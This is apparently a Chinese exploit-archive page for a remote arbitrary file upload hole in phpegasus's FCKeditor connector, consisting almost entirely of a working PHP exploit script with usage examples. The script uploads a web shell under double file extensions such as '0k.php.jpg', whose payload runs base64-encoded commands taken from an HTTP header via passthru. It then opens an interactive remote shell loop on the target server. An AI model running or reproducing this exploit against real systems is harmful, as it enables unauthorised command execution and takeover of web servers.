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phpegasus (fckeditor)远程任意文件上传漏洞

作者:eidelweiss
测试方法

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
 $sock = fsockopen($host, 80);
 while (!$sock)
 {
  print "\n[-] No response from {$host}:80 Trying again...";
  $sock = fsockopen($host, 80);
 }
 fputs($sock, $packet);
 while (!feof($sock)) $resp .= fread($sock, 1024);
 fclose($sock);
 return $resp;
}
function upload()
{
 global $host, $path;
 $connector = "/core/editor/editor/filemanager/connectors/php/config.php";
 $file_ext  = array("zip", "jpg", "fla", "doc", "xls", "rtf", "csv");
 foreach ($file_ext as $ext)
 {
  print "\n[-] Trying to upload with .{$ext} extension...";
  $data  = "--abcdef\r\n";
  $data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"0k.php.{$ext}\"\r\n";
  $data .= "Content-Type: application/octet-stream\r\n\r\n";
  $data .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\r\n";
  $data .= "--abcdef--\r\n";
  $packet  = "POST {$path}{$connector}?Command=FileUpload&CurrentFolder={$path} HTTP/1.0\r\n";
  $packet .= "Host: {$host}\r\n";
  $packet .= "Content-Length: ".strlen($data)."\r\n";
  $packet .= "Content-Type: multipart/form-data; boundary=abcdef\r\n";
  $packet .= "Connection: close\r\n\r\n";
  $packet .= $data;
  preg_match("/OnUploadCompleted\((.*),'(.*)'\)/i", http_send($host, $packet), $html);
  if (!in_array(intval($html[1]), array(0, 201))) die("\n[-] Upload failed! (Error {$html[1]}: {$html[2]})\n");
  $packet  = "GET {$path}0k.php.{$ext} HTTP/1.0\r\n";
  $packet .= "Host: {$host}\r\n";
  $packet .= "Connection: close\r\n\r\n";
  $html    = http_send($host, $packet);
  if (!eregi("print", $html) and eregi("_code_", $html)) return $ext;
  sleep(1);
 }
 return false;
}
print "\n+--------------------------------------------------------------------------+";
print "\n| phpegasus (fckeditor) Remote Arbitrary File Upload Exploit by eidelweiss |";
print "\n+--------------------------------------------------------------------------+\n";
if ($argc < 3)
{
 print "\nUsage......: php $argv[0] host path\n";
 print "\nExample....: php $argv[0] localhost /";
 print "\nExample....: php $argv[0] localhost /phpegasus/\n";
 die();
}
$host = $argv[1];
$path = $argv[2];
if (!($ext = upload())) die("\n\n[-] Exploit failed...\n");
else print "\n[-] Shell uploaded...starting it!\n";
define(STDIN, fopen("php://stdin", "r"));
while(1)
{
 print "\phpegasus-shell# ";
 $cmd = trim(fgets(STDIN));
 if ($cmd != "exit")
 {
  $packet = "GET {$path}0k.php.{$ext} HTTP/1.0\r\n";
  $packet.= "Host: {$host}\r\n";
  $packet.= "Cmd: ".base64_encode($cmd)."\r\n";
  $packet.= "Connection: close\r\n\r\n";
  $html   = http_send($host, $packet);
  if (!eregi("_code_", $html)) die("\n[-] Exploit failed...\n");
  $shell = explode("_code_", $html);
  print "\n{$shell[1]}";
 }
 else break;
}

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